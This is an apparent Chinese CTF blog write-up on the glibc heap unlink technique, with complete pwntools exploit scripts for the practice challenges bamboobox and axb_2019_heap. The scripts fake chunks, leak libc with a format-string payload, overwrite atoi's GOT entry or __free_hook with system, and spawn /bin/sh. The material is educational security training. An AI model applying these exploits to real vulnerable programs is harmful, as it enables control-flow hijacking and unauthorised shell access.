unlink

UNLINK 攻击

我们伪造一个fake chunk,修改其fd为p-0x18(p储存堆块指针的地址,一般为bss段),修改bk为p-0x10,绕过保护,在形成双链表的过程中,修改了p->p-0x18导致我们可以修改p->任意地址,进行一次任意地址写,可以修改free为system。

伪造形式

1721902249398

伪造堆块的后一堆块的size低位要为0,这样会认为我们伪造的堆块是释放的,才能往前合并。

1721902258842

首先我们要绕过保护
B->bk!=chunk0||A->fd!=chunk0
//此时我们的A=p-0x10   fd=A+0x10   fd=p     (这个fd是A的fd)
//此时我们的B=p-0x18   bk=B+0x18   bk=p    (这个bk是B的bk)
//对应了下面的步骤
chunk0->fd=p-0x18//这里的p-0x18是我们自己构造的
chunk0->bk=p-0x10//同理
B->bk=*(p-0x18+0x18)=*p=chunk0//证明了s=p
A->fd=*(p+0x10+0x10)=*p=chunk0
//此时*p等于chunk0的话便可以绕过保护

这里我要提出一个问题了

为什么我们要伪造堆块而不用原堆块呢?

你要想一下我们绕过保护的要求是什么,最终我们回到的地方是chunk0,而最开始我们指向的是原堆块的数据区,我们是无法指到头部的,而我们构造的正好是可以指向头部的

1721902391041

//

1721902400175

//在使AB构成双链表
B->bk=A
A->fd=B
//此时A=p-0x10  B=p-0x18
//最终p会指向p-0x18的位置

1721902409108

1721902420223

们在读入的时候就会往从p-0x18的位置开始读入,最后覆盖掉读入位置,在进行读入就从*p进行读入,相当于一次任意地址写

例如我们覆盖到读入位置为atoi函数的got表,

1721902458602

我们下次就会对这里进行修改

然后读入的内容从

1721902464672

这里读入

那么我们就可以覆盖got表了

1721902473666

例题

bamboobox

首先查看保护

1721902481952

64位开启了canary和nx保护

查看ida

1721902492107

菜单题

1721902499090

show函数内,我们查看一下打印的位置bss1在哪里,这里是我们随后创造第一个堆块的索引位置(重点关注)

1721902506238

查看add函数,创造指定大小堆块,将堆块索引位置放到itemlist的位置,这里我们就知道堆块地址在这个bss段放置了,而且前面的show也是打印itemlist+8的位置

且add里的read函数也是往itemlist+8的位置读入,也就是对堆块读入内容

1721902515323

在change函数中存存在自己规定大小的堆溢出,可以用于修改后面堆块的pre_size(前一个堆块的大小)size自己堆块的大小(主要改成地位为0,将前一个堆块标记为释放状态)

free释放函数

1721902523130

思路:

1.部署堆块(fk=itemlist-0x18,bk=itemlist-0x10),并设置后一个堆块标识位(size低位为0)

2.然后释放后itemlist+8的位置会指向fk的位置,这时候覆盖到itemlist+8,即可任意读写(覆盖为atoi_got)

3.然后show打印出atoi的got表地址,根据偏移可以找到system

4.这时候读入取覆盖安atoi的got表为stystem即可

部署的堆块

1721902530132

target = 0x6020c8  
fd = target - 0x18
bk = target - 0x10
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)+b'a'*0x60+p64(0x80)+p64(0x90)
change(0,payload)

1721902539830

然后释放,itemlist+8指向了itemlist-0x18的位置,此时我们读入就从itemlist-0x18读入,可以覆盖到itemlist+8,即可任意读写

1721902547094

我们读入地址覆盖itemlist+8为atoi

1721902553039

先打印获得libc地址,找到system地址

1721902558028

修改atoigot表为system

1721902570878

这时候就成功了

最终的exp

from tools import *
p = process('./bam')
#p=remote("node3.buuoj.cn",27073)
context.log_level = 'debug'

elf = ELF("./bam")
#libc = ELF("./buu/libc64/libc-2.30.so")
libc=ELF("./libc-2.23.so")
atoi_got = elf.got['atoi']

def show():
    p.recvuntil("Your choice:")
    p.sendline(str(1))

def alloc(size,content):
    p.recvuntil("Your choice:")
    p.sendline(str(2))
    p.recvuntil("length of item name:")
    p.sendline(str(size))
    p.recvuntil("name of item:")
    p.sendline(content)

def change(idx,content):
    p.recvuntil("Your choice:")
    p.sendline(str(3))
    p.recvuntil("index of item:")
    p.sendline(str(idx))
    p.recvuntil("length of item name:")
    p.sendline(str(len(content)))
    p.recvuntil("new name of the item:")
    p.sendline(content)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline(str(4))
    p.recvuntil("index of item:")
    p.sendline(str(idx))

alloc(0x80,"aaaa")
alloc(0x80,"bbbb")
alloc(0x80,"cccc")

target = 0x6020c8  
fd = target - 0x18
bk = target - 0x10
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)+b'a'*0x60+p64(0x80)+p64(0x90)
change(0,payload)
debug(p)
free(1)
atoi_got=elf.got["atoi"]

payload1=p64(0)*3+p64(atoi_got)
change(0,payload1)
show()

stack=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
log_addr("stack")
libc_addr=stack-libc.sym['atoi']
log_addr("libc_addr")
system=libc_addr+libc.sym['system']
log_addr("system")

change(0,p64(system)*3)
p.sendlineafter("choice:",b'/bin/sh\x00')

p.interactive()

axb_2019_heap

首先查看保护

1721902578094

保护全开

查看ida

1721902584179

菜单题

banner函数,存在格式化字符串漏洞,进行泄露程序地址和libc地址

1721902590434

查看add函数

1721902617665

delete噶不是故意,释放堆块并清空内容不存在uaf漏洞

1721902628266

看exit函数

1721902634281

思路:

1.首先泄露程序地址和libc基地址

2.如何构造堆块,并覆盖后一个堆块的pre_size和size位(size低位为0)

3.释放使note指向note-0x18的位置,如何进行读入进行覆盖为free_hook为system

(因为这题开了RELRO不能覆盖got表)

最终的exp

from tools import *
p,e,libc=load("axb","node5.buuoj.cn:26141","./libc64/libc-2.23.so")
context(log_level='debug')



p.sendlineafter("name: ",b'%11$p--%15$p')
p.recvuntil(b"Hello, ")
stack1=int(p.recv(14),16)
log_addr("stack1")
p.recvuntil("--")
stack2=int(p.recv(14),16)
log_addr("stack2")
text_addr=stack1-0x1186
log_addr("text_addr")
libc_addr=stack2-libc.sym["__libc_start_main"]-0xf0
log_addr("libc_addr")
free_got=libc_addr+libc.sym['free']
log_addr("free_got")
free_plt=text_addr+0x8a0
log_addr("free_plt")
system=libc_addr+libc.sym["system"]
log_addr("system")
free1=libc_addr+libc.sym['__free_hook']
log_addr("free1")


def add(id,size,content):
    p.sendlineafter("option:",'1')
    p.sendlineafter("(0-10):",str(id))
    p.sendlineafter("size:",str(size))
    p.sendlineafter("content: ",content)

def dele(id):
    p.sendlineafter("option:",'2')
    p.sendlineafter("index:",str(id))

def show():
    p.sendlineafter("option:",'3')

def exit(id,content):
    p.sendlineafter("option:",'4')
    p.sendlineafter("index:",str(id))
    p.sendlineafter("content: ",content)

target=0x0202060+text_addr
fd=target-0x18
bk=target-0x10
add(0,0x98,"aaaa")
add(1,0x98,"bbbb")
add(2,0x98,b"/bin/sh\x00")

log_addr("target")
log_addr("fd")
log_addr("bk")

payload=p64(0)+p64(0x90)+p64(fd)+p64(bk)+b'a'*0x70+p64(0x90)+p64(0xa0)
exit(0,payload)

dele(1)
debug(p)
exit(0,p64(0)*3+p64(free1)+p64(0x8))
exit(0,p64(system))
dele(2)




p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值